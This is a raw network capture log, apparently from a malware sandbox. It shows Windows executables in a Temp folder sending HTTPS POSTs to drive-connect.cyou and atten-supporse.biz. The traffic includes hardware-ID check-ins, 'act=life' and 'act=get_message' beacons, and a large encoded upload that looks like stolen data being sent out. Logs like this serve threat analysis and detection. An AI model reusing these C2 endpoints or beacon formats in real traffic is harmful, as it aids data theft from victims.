2024-12-09 20:09:22 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1LLJM2XTEHJY7XB68 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19956 Host: drive-connect.cyou
2024-12-09 20:09:22 UTC	15331	OUT	Data Raw: 2d 2d 31 4c 4c 4a 4d 32 58 54 45 48 4a 59 37 58 42 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 31 4c 4c 4a 4d 32 58 54 45 48 4a 59 37 58 42 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 31 4c 4c 4a 4d 32 58 54 45 48 4a 59 37 58 42 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d Data Ascii: --1LLJM2XTEHJY7XB68Content-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--1LLJM2XTEHJY7XB68Content-Disposition: form-data; name="pid"3--1LLJM2XTEHJY7XB68Content-Disposition: form-data; name="lid"FATE99--test--
2024-12-09 20:09:22 UTC	4625	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f Data Ascii: +?2+?2+?o?Mp5p_o
2024-12-09 20:09:23 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2smev5k0v61vhkvk02tuj0og50; expires=Fri, 04-Apr-2025 13:56:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LDF3VwVsGsHqZlhx%2F5elw54f%2BwzP8hgBICPpJGZ%2FFWsZwIQm8vYtRa610b0cIssosDcoufUXX7wWgyCTCC4j6A4MVvszICmeN6Q4TzlBcfD4Wgh5otqGI6I2d9O4DG9gxW6Br4c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a1ee8c480f7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1596&rtt_var=607&sent=16&recv=24&lost=0&retrans=0&sent_bytes=2847&recv_bytes=20919&delivery_rate=1791411&cwnd=205&unsent_bytes=0&cid=788f317d169f81fa&ts=916&x=0"
2024-12-09 20:09:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:09:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49899	172.67.139.78	443	5564	C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:25 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PMR5V0MA4F2ER9VZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1217 Host: drive-connect.cyou
2024-12-09 20:09:25 UTC	1217	OUT	Data Raw: 2d 2d 50 4d 52 35 56 30 4d 41 34 46 32 45 52 39 56 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 50 4d 52 35 56 30 4d 41 34 46 32 45 52 39 56 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 4d 52 35 56 30 4d 41 34 46 32 45 52 39 56 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 50 4d 52 Data Ascii: --PMR5V0MA4F2ER9VZContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--PMR5V0MA4F2ER9VZContent-Disposition: form-data; name="pid"1--PMR5V0MA4F2ER9VZContent-Disposition: form-data; name="lid"FATE99--test--PMR
2024-12-09 20:09:26 UTC	1029	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=81lke56hq88idrrcuvebnrirc7; expires=Fri, 04-Apr-2025 13:56:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6OpHZfloFP9ihI%2Faa%2F2zHvlIYIyVfIaRysMmZp2WK7HSZWCqlc%2B1JVU3P%2BM9hR701%2B30%2Bii7qb1%2BhUJmg9vB00jbhRISPKDbQJQbVeNqsdI11M3TvY7X65W6cuOcHY%2B%2FQq8rPFM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a1ff2a924339-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1594&rtt_var=610&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2134&delivery_rate=1776155&cwnd=227&unsent_bytes=0&cid=1187164c3005d14f&ts=1163&x=0"
2024-12-09 20:09:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:09:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49905	172.67.139.78	443	5564	C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:28 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AXAJ9YUXQO97CCBYD9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571410 Host: drive-connect.cyou
2024-12-09 20:09:28 UTC	15331	OUT	Data Raw: 2d 2d 41 58 41 4a 39 59 55 58 51 4f 39 37 43 43 42 59 44 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 41 58 41 4a 39 59 55 58 51 4f 39 37 43 43 42 59 44 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 58 41 4a 39 59 55 58 51 4f 39 37 43 43 42 59 44 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d Data Ascii: --AXAJ9YUXQO97CCBYD9Content-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--AXAJ9YUXQO97CCBYD9Content-Disposition: form-data; name="pid"1--AXAJ9YUXQO97CCBYD9Content-Disposition: form-data; name="lid"FATE99--test
2024-12-09 20:09:28 UTC	15331	OUT	Data Raw: 4b 40 71 4a 84 53 2c e9 18 e2 5c 72 f8 b1 cc 47 94 a6 49 74 73 56 66 84 31 36 72 a6 6a 92 6f c3 bc 45 85 ac 3c 3e 56 de 28 35 45 4f ea 4a 62 f9 64 5c 5d 72 31 a3 f2 b3 74 d1 08 9f d1 c3 f0 43 bd d8 58 f1 07 45 dc 62 3c 18 47 b5 4f f1 7e 19 aa d2 0d 12 38 77 a4 88 57 21 22 2b 5e ff 86 09 a1 7f 7f 34 ec 27 31 2b 44 67 a0 da 27 d7 c5 fa 8a 86 23 19 22 44 35 dd 29 03 80 b1 3d 51 81 3b 4d a2 64 cc 1b 19 c6 44 d8 13 9e 27 5b ab d2 fb 96 cc e1 98 41 98 2d 24 b8 25 81 e9 43 c3 f1 dc 5b 91 1a 1f af 8f db c6 a9 8f 2b bd fc e2 c0 7c e6 60 cd b2 a7 4b c7 6d df f2 7b 3c 07 07 a5 9d b8 f1 a2 d6 0f 7c d7 2a 34 37 96 fe b8 cb ed 48 80 32 51 91 ac 30 12 2c 30 4d c9 d7 74 6d 20 75 60 2f 32 b2 fb fd 24 77 1a a5 cd 6f 58 70 0f 8d 45 6f d7 87 ed b3 34 c4 c2 b3 f8 12 4a f2 0a Data Ascii: K@qJS,\rGItsVf16rjoE<>V(5EOJbd\]r1tCXEb<GO~8wW!"+^4'1+Dg'#"D5)=Q;MdD'[A-$%C[+\|`Km{<\|*47H2Q0,0Mtm u`/2$woXpEo4J
2024-12-09 20:09:28 UTC	15331	OUT	Data Raw: e5 d9 85 f9 9e f9 ca f5 8e 42 eb 83 7c 64 fd 13 d6 aa b5 02 92 5e 3f ca da c3 f0 03 e6 1b c7 6e f7 73 9f c0 04 66 fd 9a f9 40 4b 4a 41 25 bb 79 a2 f3 d1 c7 f0 0a d1 db f4 1f be a2 51 2f 4a 79 ef 7f 44 12 ba 3a d8 2f 1c 08 1e bd 9d 86 f3 07 32 d7 16 de 0c 57 f7 7e 50 25 35 1c d9 7d 87 dd 59 56 3b 9e 58 ed 55 54 35 bf 1e 32 ec 55 36 32 19 ce 5d c9 ac aa 5a d8 fc 10 e2 37 7b b4 8c fc e5 ef d7 10 e3 5d 00 f7 93 93 d6 4f b3 80 ff 7e 64 96 af 74 e8 ab c3 75 05 dc c5 f3 ac c1 cc c0 9d a1 2f 62 ce 1b 87 14 e4 a4 96 36 7f dc 5e a3 8f fe ab 26 6c e2 fc f5 f5 46 86 e8 d8 f2 7d 87 ea f9 6f e1 ac b1 a7 82 35 1d bf d7 4c fe a4 f0 ad 86 d3 51 c5 2c d2 9e 1b 49 7b e8 5d fe 2a b7 af 0f 0b 5b 19 73 4a 1c aa ee be 1b 2a b9 f9 cf 10 7b bd aa 9e 3f 87 a5 1c 36 1a f9 d5 c3 c0 Data Ascii: B\|d^?nsf@KJA%yQ/JyD:/2W~P%5}YV;XUT52U62]Z7{]O~dtu/b6^&lF}o5LQ,I{][sJ{?6
2024-12-09 20:09:28 UTC	15331	OUT	Data Raw: 03 74 b8 35 8f 0f 5d da 16 d7 43 6f ee f7 af 0f f2 f2 df fa 13 0f a7 cd dc a2 df b4 e0 4b 5f bf 7f 5c f3 45 31 38 c1 fc b8 50 a9 ef 0a 69 52 3b f4 27 16 bb 1d e0 c3 7f 69 f3 4f fa aa d7 37 be e4 c6 31 05 ac 0b 91 ac 8a b9 57 8e c9 62 e2 7d 11 9b 24 dd b4 94 ea 4a 19 cf 86 de 80 a2 66 e8 5f e6 c4 9f 2d b0 d4 67 f9 14 46 9b f1 b3 09 87 01 66 dd 9f d1 74 cf ad d3 87 1b 79 e7 bf a2 22 ad 9f ef 90 7c 31 03 80 67 a7 e2 0c e6 2b 27 eb 9e ff e6 b2 fe 9b c8 e9 d3 be a5 94 ac 8d 6e da 65 bd f1 9e 96 d1 17 92 be e7 c2 e0 cf ab f1 6c 18 e2 96 8c e2 3c 56 dd 8e e9 c0 bb b8 e0 c9 57 17 cc 0c 56 64 6d 47 ed a8 0e 8e 96 38 1b 15 90 cc 5d f6 34 5d bb f7 85 fa 93 35 90 67 4a 9f 7b 54 bc 73 77 ff d7 21 fb ed 00 fd 9d c2 12 30 9c f8 19 49 a2 29 d0 8c f8 81 2e 3f 14 cd 0b 26 Data Ascii: t5]CoK_\E18PiR;'iO71Wb}$Jf_-gFfty"\|1g+'nel<VWVdmG8]4]5gJ{Tsw!0I).?&
2024-12-09 20:09:28 UTC	15331	OUT	Data Raw: df 34 8f 63 5a 60 86 76 f5 27 ac 66 04 1f 60 6d 68 ce 03 e4 1b 84 44 c1 eb 76 6d 43 cd 55 bf 09 5f 55 47 64 ed 42 75 e0 d8 e0 10 93 b3 78 5c 13 a2 9d e1 b5 9b 66 bb 25 86 7f 5d 4a 52 c7 f4 69 88 03 97 a7 52 a7 af 82 29 d6 0e 4f fd 03 6d dd c4 16 f3 2b 54 f5 0b 35 06 d5 46 ad 8c 95 88 d6 ff 6d 5d 47 70 dd b5 cc 38 15 1e a1 52 75 3a 13 03 b2 ca 11 6f fe 9f 50 fd 7f 72 b6 01 9c 66 66 4b 11 01 73 18 70 0d 3d 35 62 2f 09 35 bd dc ee fa c5 09 58 c0 01 39 86 84 ec 86 1d 4b 04 08 dd ce 57 85 82 94 e0 74 e1 15 03 40 46 84 89 82 03 5d 77 80 69 77 7d 30 86 ad 86 6a 39 e5 6f 54 38 d4 32 87 ff 67 12 d5 8b 3e 3a d4 2a 5e 80 8c 79 25 41 fe 60 06 e1 e4 33 ea 42 8c be cb 05 bd 9e cd 77 17 c5 11 65 c8 69 5a 6c 2b ae d7 51 38 79 d0 30 a5 3a 56 e9 86 e8 14 4a c0 82 48 45 6c Data Ascii: 4cZ`v'f`mhDvmCU_UGdBux\f%]JRiR)Om+T5Fm]Gp8Ru:oPrffKsp=5b/5X9KWt@F]wiw}0j9oT82g>:*^y%A`3BweiZl+Q8y0:VJHEl
2024-12-09 20:09:28 UTC	15331	OUT	Data Raw: 08 21 b1 6b ee 1a 3d 42 ab 5d 4c 5f cf 8c 4c 84 f1 ec 5e d4 b1 86 8f 7e 49 ba 9a ee f5 0b 1e 2f b2 ac 94 e9 01 a0 c2 4b 1a 59 f0 9b 56 4d 40 5d d1 6c a4 42 0c 36 77 99 bb 06 07 9f d0 b2 84 34 2d 49 10 94 3f 97 fb df 3a bb 7e bb 66 5e e1 32 b8 e3 f7 8c cf 77 64 1c e6 8f f4 bf 33 13 05 00 e0 08 03 8d 44 28 14 30 d7 a7 a6 1e 8c a4 9d 87 f3 c3 eb b0 27 94 1b 9d b7 7b 20 ae 7a ff 61 03 b0 86 cd 53 e0 d5 1f 23 37 87 28 02 e0 d5 52 1b 92 ae c0 a2 a7 84 fe 2a 3d 60 80 9d 0a d0 40 42 bc 88 43 08 13 2a fd 1e 93 7b 9a 10 13 59 ed fb a5 55 e0 85 be b7 e4 cd 96 91 bf 6f d8 b1 aa 3a 0e 39 0a 0b d7 3f d7 bb 55 7a fd 0d 44 1e df b8 bc 47 06 68 df 1c 9a f8 07 b3 f1 15 62 94 55 1f c3 31 04 c7 74 30 42 d0 42 a3 50 af e4 4f 59 7a e3 9e 4b 67 72 b1 be 85 05 35 04 fe 39 38 3e Data Ascii: !k=B]L_L^~I/KYVM@]lB6w4-I?:~f^2wd3D(0'{ zaS#7(R=`@BC{YUo:9?UzDGhbU1t0BBPOYzKgr598>
2024-12-09 20:09:28 UTC	15331	OUT	Data Raw: 2a c8 43 47 a0 da b6 ba 39 22 cb fb 04 65 39 9c 63 c8 f2 0e 44 39 00 dd 47 ad 0b e3 fc c4 0a 48 6a 04 dd e0 6e 50 e4 83 b8 f6 03 73 ca 8c 50 77 a2 c0 20 3e b5 ee b8 cf da be 16 33 15 c9 4d 40 ad c8 7d 29 db cd 86 83 a0 4e 2d a6 54 bf 80 f7 24 d7 6f 4f 31 36 a4 75 fe 0b 5d 90 91 54 cc c5 a2 14 ed 78 10 07 25 eb 6b 1f 42 64 76 01 db 25 75 cb 03 62 18 18 7f 36 dc de 94 50 69 f5 5c 1c fe 2c 90 c6 fa ed ca fa fd 4f 5d cd b3 08 ee 66 ce f6 24 47 e9 8d 6b 8d 22 c7 2c 98 a5 b0 70 64 63 8f 35 db 3c 7e 31 9c d5 96 b8 a3 1e 43 51 1f 62 50 19 84 f1 c6 bf df be f8 f5 c2 86 6e f7 0a d6 7d e6 35 ee 32 b2 ff 94 ba d1 ea 0c 7d 99 f5 cf 6e a9 01 aa 2a 43 07 3b d5 c3 03 6a 96 bf ff f4 bc 79 29 c4 d2 8a 50 14 b7 59 81 89 9a 7f a3 7a fa fe 89 3b f3 4e 7d 9e 7e b9 3d 4f 5b 04 Data Ascii: CG9"e9cD9GHjnPsPw >3M@})N-T$oO16u]Tx%kBdv%ub6Pi\,O]f$Gk",pdc5<~1CQbPn}52}nC;jy)PYz;N}~=O[
2024-12-09 20:09:28 UTC	15331	OUT	Data Raw: 44 30 aa fa eb 27 6b 5f 7d be 85 6e fd d5 ba 8a ca 01 5d 65 d8 8b b7 fc 39 68 57 e4 8b 55 13 2d de 1c 22 7b ae de 7d 74 6e 88 3f 43 aa f2 51 86 bf 69 7c ae 4e 5b 99 3b 34 39 a7 c3 dc 3d fc 6d f5 28 3f 67 c8 64 e6 58 fd 4d 76 35 29 58 f0 dd 76 90 2e a1 0e 1d 6b 02 e0 a8 0e 98 ee dc 59 11 07 91 9c 63 5e 7b b0 7a de 4c 02 b4 8c a8 d0 6a ee df a7 3d 10 35 0d ff ce dd a7 92 5a 20 e1 ba f5 c5 23 d7 1a 64 bc 4c ef 6f 91 68 11 ab 6f 66 8a 8b 53 44 56 8e 67 17 f6 55 36 3c 2f 2c fe 69 8d 60 4a a3 32 3e 37 b0 fe 13 82 87 a3 e1 13 a2 c0 8e fd 01 12 3c a9 a8 d2 03 48 d0 29 05 9a 4d 7b ed 36 27 49 46 42 54 72 8b 05 60 be ba 3f 18 f4 b5 ae 12 a6 48 27 04 20 e0 44 ce 8b 27 35 3e dc ab 18 be 8f b4 d3 18 32 e8 f6 c6 59 90 ae 89 bb 8c 81 84 81 0c 4f 03 68 e9 af 3f c4 32 dc Data Ascii: D0'k_}n]e9hWU-"{}tn?CQi\|N[;49=m(?gdXMv5)Xv.kYc^{zLj=5Z #dLohofSDVgU6</,i`J2>7<H)M{6'IFBTr`?H' D'5>2YOh?2
2024-12-09 20:09:28 UTC	15331	OUT	Data Raw: e3 49 6d 97 60 db e8 8b 57 eb 1e f2 d8 d2 6f e3 71 44 e4 a0 cf 7b c3 3c 38 24 80 f7 6d d9 66 e1 21 5b 1a 25 09 ae 6f f6 28 2f e1 5e b1 a2 bd 92 31 34 75 04 e4 29 c4 85 76 b9 6c bc 9f 7b 19 64 b4 2b d5 06 1d f6 b2 49 77 8c 3b 98 91 6a 9f 19 b9 5f b6 d9 56 ef 49 f5 53 4c bf 92 0a 1c 00 1d fc eb 1f dd 28 62 b6 ea 30 f3 2c e2 ef 2b 98 e4 79 46 3a 3b 97 85 f7 f6 81 7e ad 16 26 21 eb d0 d8 ec 5c e0 e0 1c d5 85 68 7e 40 9f 14 aa 97 70 68 43 50 94 17 4c 73 88 29 89 0a af bf 10 e6 46 45 29 c6 7c e9 d5 b7 7f c9 5f a3 34 dc 86 b0 c2 42 31 27 1c 86 aa 5e 3e c1 b7 f0 ea 94 29 6e 45 46 f2 1d e7 c3 7a 65 a8 aa cc ac 83 61 46 fc d6 16 f0 8c b1 a3 e7 ed c4 f8 70 78 f5 c9 1f ba 51 a4 0e 16 2a 96 f1 62 89 8b 05 c5 32 a5 c2 eb 67 2d a8 aa e8 6b 08 4a f3 8a c0 33 49 ae 6a 90 Data Ascii: Im`WoqD{<8$mf![%o(/^14u)vl{d+Iw;j_VISL(b0,+yF:;~&!\h~@phCPLs)FE)\|_4B1'^>)nEFzeaFpxQ*b2g-kJ3Ij
2024-12-09 20:09:28 UTC	15331	OUT	Data Raw: 6f 86 3b 8b 98 29 28 4d a1 59 df bd 0f c2 27 8e 30 41 d8 4e 71 35 d6 eb 87 90 2d c9 36 c1 4b bd 06 05 6b 30 31 a5 98 04 1b 1b d2 ac 33 86 7a 7d 36 0b 50 6a 05 49 9b 30 24 cc d1 02 f5 a1 33 c3 d5 cd 10 15 87 48 c6 f0 5c df cd 4f b5 7c 5d 98 f7 1d e4 0f f5 2e 0e f8 79 86 cf f5 ae 56 ed 3d ad 15 34 fb 99 ec 37 8b a1 0f 99 73 62 b2 4e 35 d2 e9 7e af fc d9 dc bb fe 6c 9e c1 d8 ac 2e 85 a5 4e fc 4f 6d 60 2f f1 0b 7a 9c ed 03 f1 69 62 94 71 88 d5 6d 43 9e 32 9f ff 50 58 fa 3b d8 7d 5c fc e3 c4 fa 1b 14 70 1b 1e 1c 60 5f 07 f2 a4 ec ea c8 99 c6 d9 0d 47 fa 50 7f 38 ab 9d 85 40 81 70 ff e5 85 6b 1b 11 ee b7 81 5e 29 10 14 04 ee c3 9e 93 08 78 60 a7 0b 3c f0 07 cc 1f 16 b8 85 c7 55 57 6b 1d 0b e7 24 40 64 b9 0c 58 21 f0 fb 76 ce 0a 82 7e d4 6a cc 52 ca fc dc 03 cf Data Ascii: o;)(MY'0ANq5-6Kk013z}6PjI0$3H\O\|].yV=47sbN5~l.NOm`/zibqmC2PX;}\p`_GP8@pk^)x`<UWk$@dX!v~jR
2024-12-09 20:09:32 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=37eu4sllae5k6g573hp46o2irk; expires=Fri, 04-Apr-2025 13:56:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kfoHinh8PbAVeWRhIKCunjxPqV6MmjfWKYrKJro2iA5B9KJNjBBkXVwZtCDQFs%2FktQeBtiTpH1j1LXc1DLV9lNFXVpLQVv4Cg%2BUNryTg6yTm9zdJcSdfE6hIkKOmjxS5ed7d%2BTY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a2125dee4297-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2078&min_rtt=2073&rtt_var=788&sent=262&recv=597&lost=0&retrans=0&sent_bytes=2845&recv_bytes=573959&delivery_rate=1380614&cwnd=245&unsent_bytes=0&cid=d95011b3c8f3ea82&ts=4727&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49921	104.21.48.1	443	5440	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:33 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-09 20:09:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 20:09:34 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mbetp6eoqn77b7t7rfbilslign; expires=Fri, 04-Apr-2025 13:56:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FWdWDnodEGjBQvMuuLNgWaMBbLmXUN1o%2BWEEz%2BuofDuGc4sQWFnp4qgw8eGzZRehK0KCqPNghwovmye%2BDLj7xrm10n5p05oRD812G1znyBSUldNMIxfulvLuL5sOJzFY5XXcF4E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a22fea654231-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1599&min_rtt=1599&rtt_var=601&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1820448&cwnd=127&unsent_bytes=0&cid=b6113cf464ac422a&ts=998&x=0"
2024-12-09 20:09:34 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 20:09:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49924	172.67.139.78	443	5564	C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:34 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: drive-connect.cyou
2024-12-09 20:09:34 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d 26 68 77 69 64 3d 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=FATE99--test&j=&hwid=3384FC726411342223D904AF30EFEBBC
2024-12-09 20:09:35 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vp3ep73vldfiuttt81443lac1c; expires=Fri, 04-Apr-2025 13:56:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GHMiGMmdwCbUF5f%2BN4I1N3J9kwaqOfwV%2BNqX2bmsq3xylRSPyBMVkMJenSDcedX9%2B1iALxRqZEkbGdgykK887%2Fr6R13lRAy622Y%2BkaSCHMYfqZ7wd8q9nCkY6DD2jSqhpJmSdiI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 